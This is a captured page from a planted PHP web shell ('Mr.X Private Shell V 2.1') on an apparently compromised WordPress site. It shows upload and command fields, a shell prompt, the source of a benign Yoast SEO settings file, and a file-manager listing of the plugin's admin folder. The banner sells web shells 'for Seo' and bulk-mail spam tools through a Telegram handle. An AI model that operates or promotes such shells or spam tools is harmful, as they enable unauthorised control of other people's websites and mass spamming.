__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Network
 */

/**
 * Implements a network settings API for the plugin's multisite settings.
 */
class Yoast_Network_Settings_API {

	/**
	 * Registered network settings.
	 *
	 * @var array
	 */
	private $registered_settings = [];

	/**
	 * Options whitelist, keyed by option group.
	 *
	 * @var array
	 */
	private $whitelist_options = [];

	/**
	 * The singleton instance of this class.
	 *
	 * @var Yoast_Network_Settings_API
	 */
	private static $instance = null;

	/**
	 * Registers a network setting and its data.
	 *
	 * @param string $option_group The group the network option is part of.
	 * @param string $option_name  The name of the network option to sanitize and save.
	 * @param array  $args         {
	 *     Optional. Data used to describe the network setting when registered.
	 *
	 *     @type callable $sanitize_callback A callback function that sanitizes the network option's value.
	 *     @type mixed    $default           Default value when calling `get_network_option()`.
	 * }
	 *
	 * @return void
	 */
	public function register_setting( $option_group, $option_name, $args = [] ) {

		$defaults = [
			'group'             => $option_group,
			'sanitize_callback' => null,
		];
		$args     = wp_parse_args( $args, $defaults );

		if ( ! isset( $this->whitelist_options[ $option_group ] ) ) {
			$this->whitelist_options[ $option_group ] = [];
		}

		$this->whitelist_options[ $option_group ][] = $option_name;

		if ( ! empty( $args['sanitize_callback'] ) ) {
			add_filter( "sanitize_option_{$option_name}", [ $this, 'filter_sanitize_option' ], 10, 2 );
		}

		if ( array_key_exists( 'default', $args ) ) {
			add_filter( "default_site_option_{$option_name}", [ $this, 'filter_default_option' ], 10, 2 );
		}

		$this->registered_settings[ $option_name ] = $args;
	}

	/**
	 * Gets the registered settings and their data.
	 *
	 * @return array Array of $option_name => $data pairs.
	 */
	public function get_registered_settings() {
		return $this->registered_settings;
	}

	/**
	 * Gets the whitelisted options for a given option group.
	 *
	 * @param string $option_group Option group.
	 *
	 * @return array List of option names, or empty array if unknown option group.
	 */
	public function get_whitelist_options( $option_group ) {
		if ( ! isset( $this->whitelist_options[ $option_group ] ) ) {
			return [];
		}

		return $this->whitelist_options[ $option_group ];
	}

	/**
	 * Filters sanitization for a network option value.
	 *
	 * This method is added as a filter to `sanitize_option_{$option}` for network options that are
	 * registered with a sanitize callback.
	 *
	 * @param string $value  The sanitized option value.
	 * @param string $option The option name.
	 *
	 * @return string The filtered sanitized option value.
	 */
	public function filter_sanitize_option( $value, $option ) {

		if ( empty( $this->registered_settings[ $option ] ) ) {
			return $value;
		}

		return call_user_func( $this->registered_settings[ $option ]['sanitize_callback'], $value );
	}

	/**
	 * Filters the default value for a network option.
	 *
	 * This function is added as a filter to `default_site_option_{$option}` for network options that
	 * are registered with a default.
	 *
	 * @param mixed  $default_value Existing default value to return.
	 * @param string $option        The option name.
	 *
	 * @return mixed The filtered default value.
	 */
	public function filter_default_option( $default_value, $option ) {

		// If a default value was manually passed to the function, allow it to override.
		if ( $default_value !== false ) {
			return $default_value;
		}

		if ( empty( $this->registered_settings[ $option ] ) ) {
			return $default_value;
		}

		return $this->registered_settings[ $option ]['default'];
	}

	/**
	 * Checks whether the requirements to use this class are met.
	 *
	 * @return bool True if requirements are met, false otherwise.
	 */
	public function meets_requirements() {
		return is_multisite();
	}

	/**
	 * Gets the singleton instance of this class.
	 *
	 * @return Yoast_Network_Settings_API The singleton instance.
	 */
	public static function get() {

		if ( self::$instance === null ) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}

Filemanager

Name Type Size Permission Actions
ajax Folder 0775
capabilities Folder 0775
endpoints Folder 0775
exceptions Folder 0775
filters Folder 0775
formatter Folder 0775
google_search_console Folder 0775
import Folder 0775
listeners Folder 0775
menu Folder 0775
metabox Folder 0775
notifiers Folder 0775
pages Folder 0775
roles Folder 0775
services Folder 0775
statistics Folder 0775
taxonomy Folder 0775
tracking Folder 0775
views Folder 0775
watchers Folder 0775
admin-settings-changed-listener.php File 2.39 KB 0775
ajax.php File 11.24 KB 0775
class-admin-asset-analysis-worker-location.php File 1.81 KB 0775
class-admin-asset-dev-server-location.php File 1.63 KB 0775
class-admin-asset-location.php File 488 B 0775
class-admin-asset-manager.php File 19.68 KB 0775
class-admin-asset-seo-location.php File 2.08 KB 0775
class-admin-editor-specific-replace-vars.php File 6.34 KB 0775
class-admin-gutenberg-compatibility-notification.php File 2.55 KB 0775
class-admin-help-panel.php File 2.7 KB 0775
class-admin-init.php File 10.71 KB 0775
class-admin-recommended-replace-vars.php File 5.98 KB 0775
class-admin-user-profile.php File 3.25 KB 0775
class-admin-utils.php File 2.14 KB 0775
class-admin.php File 13.13 KB 0775
class-asset.php File 4.3 KB 0775
class-bulk-description-editor-list-table.php File 2.05 KB 0775
class-bulk-editor-list-table.php File 29.4 KB 0775
class-bulk-title-editor-list-table.php File 2.23 KB 0775
class-collector.php File 1005 B 0775
class-config.php File 5.08 KB 0775
class-database-proxy.php File 7.5 KB 0775
class-export.php File 3.46 KB 0775
class-expose-shortlinks.php File 8.23 KB 0775
class-gutenberg-compatibility.php File 2.47 KB 0775
class-meta-columns.php File 27.31 KB 0775
class-my-yoast-proxy.php File 6.14 KB 0775
class-option-tab.php File 2.21 KB 0775
class-option-tabs-formatter.php File 2.84 KB 0775
class-option-tabs.php File 2.26 KB 0775
class-paper-presenter.php File 3.52 KB 0775
class-plugin-availability.php File 10.05 KB 0775
class-plugin-conflict.php File 4.04 KB 0775
class-premium-popup.php File 2.81 KB 0775
class-premium-upsell-admin-block.php File 5.11 KB 0775
class-primary-term-admin.php File 7.35 KB 0775
class-product-upsell-notice.php File 5.75 KB 0775
class-remote-request.php File 3.13 KB 0775
class-schema-person-upgrade-notification.php File 2.23 KB 0775
class-suggested-plugins.php File 4.33 KB 0775
class-wincher-dashboard-widget.php File 3.53 KB 0775
class-yoast-columns.php File 3.52 KB 0775
class-yoast-dashboard-widget.php File 3.96 KB 0775
class-yoast-form.php File 35.73 KB 0775
class-yoast-input-validation.php File 7.18 KB 0775
class-yoast-network-admin.php File 9.97 KB 0775
class-yoast-network-settings-api.php File 4.18 KB 0775
class-yoast-notification-center.php File 26.08 KB 0775
class-yoast-notification.php File 9.82 KB 0775
class-yoast-notifications.php File 7.63 KB 0775
class-yoast-plugin-conflict.php File 10.33 KB 0775
index.php File 38 B 0775
interface-collection.php File 257 B 0775
interface-installable.php File 254 B 0775
Filemanager